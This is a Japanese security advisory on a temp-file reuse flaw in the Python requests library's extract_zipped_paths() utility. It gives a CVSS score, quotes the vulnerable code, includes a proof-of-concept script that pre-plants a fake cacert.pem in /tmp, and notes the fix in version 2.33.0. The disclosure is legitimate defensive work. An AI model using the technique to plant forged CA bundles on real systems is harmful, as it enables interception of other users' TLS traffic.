Python の requests ライブラリにおいて、公開ユーティリティ関数 requests.utils.extract_zipped_paths() に脆弱性が確認されました。この関数は、システムの一時ディレクトリ (/tmp) にファイルを展開しようとする際に、予測可能で一意でないファイル名を使用しており、既存ファイルの整合性や所有権を検証していません。
requests と certifi を組み合わせたデフォルトの動作は importlib.resources によって緩和されていますが、このユーティリティは、圧縮リソースの処理にこれに依存する下流アプリケーションやカスタム実装にとって、依然としてセキュリティ上の落とし穴となっています。
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N関数 requests.utils.extract_zipped_paths() は、zip アーカイブからメンバーを展開するために設計されています (zipapp 環境で CA バンドルによく使用されます)。脆弱なロジックは以下の手順で構成されています:
basename を結合します (例: /tmp/cacert.pem)。if not os.path.exists(extracted_path) を使用して、ファイルを展開するかどうかを判断します。requests/utils.py では、ロジックは以下のように実装されています:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
低い特権を持つローカル攻撃者は、/tmp 内の予測可能なパスに悪意のあるファイル (例: 偽造された CA バンドル) を事前に作成することで、これを悪用できます。被害者 (ユーザーの操作が必要) がこのユーティリティを呼び出すアプリケーションを実行すると:
以下のスクリプトは、ユーティリティがアーカイブ内の正規のファイルではなく、事前に存在する「偽の」ファイルを再利用する方法を示すことで、この脆弱性を実証しています。
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
この問題はバージョン 2.33.0 で対処されています。修正では、圧縮リソースをより安全に処理するために importlib.resources への移行が行われ、展開がランダムで予測不可能なディレクトリで行われること、および共有の誰でも書き込み可能なディレクトリ内の既存ファイルの再利用を回避することが保証されています。